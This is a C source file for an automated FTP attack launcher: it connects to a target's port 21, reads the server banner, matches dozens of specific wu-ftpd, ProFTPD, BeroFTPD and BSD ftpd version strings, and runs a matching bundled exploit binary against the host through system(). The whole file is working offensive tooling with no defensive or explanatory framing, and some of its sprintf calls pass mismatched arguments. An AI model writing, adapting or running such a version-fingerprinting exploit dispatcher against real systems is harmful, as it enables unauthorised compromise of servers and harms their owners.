#include <arpa/inet.h>
#include <crypt.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define MAX_SOCKETS 500
#define TIMEOUT 3

#define S_NONE       0
#define S_CONNECTING 1

#undef VERBOSE
#define HOSTNAME "1.1.1.1"

int main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  int sock, len;
  u_char buf[4000];
  FILE *ihatetempfiles;
  char wu[150];  
  if (argc<2) {
   printf("%s <host>\n",argv[0]);
   exit(0);
  }
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (!sock)
  {
    fprintf(stderr, "unable to get a socket\n");
    return;
  }
  sin.sin_family = AF_INET;
  sin.sin_port = htons(21);
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  alarm(4);
  if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) {
    while (1)
    {
      memset(buf, 0, sizeof(buf));
      if ((len = read (sock, buf, 1)) <= 0)
      break;
      if (*buf == (unsigned int) 255)
      {
        read(sock, (buf + 1), 2);
        if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
        else if ((u_char) * (buf + 1) == (unsigned int) 253)
        {
          *(buf + 1) = 252;
          write (sock, buf, 3);
        }
      }
      else
      {
	if (*buf != 0)
        {
          bzero (buf, sizeof (buf));
          read (sock, buf, sizeof (buf));
          usleep(40000);
          #ifdef VERBOSE
          printf("%s",buf);
	  #endif
          if (strstr(buf, "Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001"))
          {
              alarm(65000);
	      printf("Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001 found - trying to exploit\n");
              sprintf(wu,"ftpd/wu -t 1 -d %s",argv[1]);
	      system(wu);	
              alarm(0);
              return 1;
          }
	  if (strstr(buf, "Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999"))
          {
              alarm(0);
	      printf("Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999 found - trying to exploit\n");
              sprintf(wu,"ftpd/wu -t 2 -d %s",argv[1]);
              system(wu);
              return 1;
	  }
	  if (strstr(buf, "Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000 found - trying to exploit\n");
              sprintf(wu,"ftpd/wu -t 3 -d %s",argv[1]);
              system(wu);
              return 1;
	  }
	  if (strstr(buf, "Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001 found - trying to exploit\n");
              sprintf(wu,"ftpd/wu -t 4 -d %s",argv[1]);
              system(wu);
              return 1;
	  }
          if (strstr(buf, "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 5 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 6 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 7 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 8 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 9 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 10 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Mon Jan 18 19:19:31 EST 1999"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Mon Jan 18 19:19:31 EST 1999 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 11 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 12 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 13 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 14 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 15 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999"))
          {
              alarm(0);
              printf("Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 16 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 17 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 18 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.1-16"))
          {
              alarm(0);
              printf("Version wu-2.6.1-16 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 19 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.1-18"))
          {
              alarm(0);
              printf("Version wu-2.6.1-18 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 20 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 21 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Wed Aug 30 22:26:37 GMT 2000"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Wed Aug 30 22:26:37 GMT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 22 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 23 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 24 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Mon Jun 26 13:11:56 GMT 2000"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Mon Jun 26 13:11:56 GMT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 25 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 26 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Wed Sep 20 23:52:21 GMT 2000"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Wed Sep 20 23:52:21 GMT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 27 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 28 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Thu Mar 1 14:44:08 GMT 2001"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Thu Mar 1 14:44:08 GMT 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 29 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 30 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Mon Jun 18 12:35:12 GMT 2001"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Mon Jun 18 12:35:12 GMT 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 31 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 32 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.4.2-academ[BETA-18](1) Thu Oct 25 03:14:49 GMT 2001"))
          {
              alarm(0);
              printf("Version wu-2.4.2-academ[BETA-18](1) Thu Oct 25 03:14:49 GMT 2001 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 33 -d %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000"))
          {
              alarm(0);
              printf("Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000 found - Exploiting\n");
              sprintf(wu,"ftpd/wu -t 34 -d %s",argv[1]);
              system(wu);
              return 1;
          }
          
	  if (strstr(buf, "ProFTPD 1.2.0pre1 "))
          {
              alarm(0);
              printf("ProFTPD Version 1.2.0pre1 found - Exploiting\n");
              sprintf(wu,"ftpd/pro3pre1 %s",HOSTNAME,argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "ProFTPD 1.2.0pre2 "))
          {
              alarm(0);
              printf("ProFTPD Version 1.2.0pre2 found - Exploiting\n");
              sprintf(wu,"ftpd/pro3pre2 %s",HOSTNAME,argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "ProFTPD 1.2.0pre3 "))
          {
              alarm(0);
              printf("ProFTPD Version 1.2.0pre3 found - Exploiting\n");
              sprintf(wu,"ftpd/pro3pre3 %s",HOSTNAME,argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "ProFTPD 1.2.0pre4 "))
          {
              alarm(0);
              printf("ProFTPD Version 1.2.0pre4 found - Exploiting\n");
              sprintf(wu,"ftpd/pro4pre4 %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version 6.00"))
          {
              alarm(0);
              printf("Version 6.00LS/freeBSD found - Exploiting\n");
              sprintf(wu,"ftpd/fbsd600ls %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version 6.5"))
          {
              alarm(0);
              printf("Version 6.5/OpenBSD found - Exploiting\n");
              sprintf(wu,"ftpd/obsd -h %s -v 0",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "Version 6.4"))
          {
              alarm(0);
              printf("Version 6.4/OpenBSD found - Exploiting\n");
              sprintf(wu,"ftpd/obsd64 %s",argv[1]);
              system(wu);
              return 1;
          }

          if (strstr(buf, "BeroFTPD 1.3"))
          {
              alarm(0);
              printf("Version BeroFTPD 1.3 found - Exploiting\n");
              sprintf(wu,"ftpd/bero134 %s",argv[1]);
              system(wu);
              return 1;
          }
 
          if (strstr(buf, "1997"))
          {
              alarm(0);
              printf("Version <= wu-2.6.0 found - Exploiting\n");
              sprintf(wu,"ftpd/wul97 %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "1998"))
          {
              alarm(0);
              printf("Version <= wu-2.6.0 found - Exploiting\n");
              sprintf(wu,"ftpd/wul98 %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "1999"))
          {
              alarm(0);
              printf("Version <= wu-2.6.0 found - Exploiting\n");
              sprintf(wu,"ftpd/wul99 %s",argv[1]);
              system(wu);
              return 1;
          }
          if (strstr(buf, "2000"))
          {
              alarm(0);
              printf("Version <= wu-2.6.0 found - Exploiting\n");
              sprintf(wu,"ftpd/wul2k %s",argv[1]);
              system(wu);
              return 1;
          }

          printf("Cuk, ftp cap wedusss !\n");  
          alarm(0);
          return 1;
        }
      }
    }
  }
  printf("Eiiitt, kok angell...\n");
  alarm(0);
  close(sock);
  return;
}


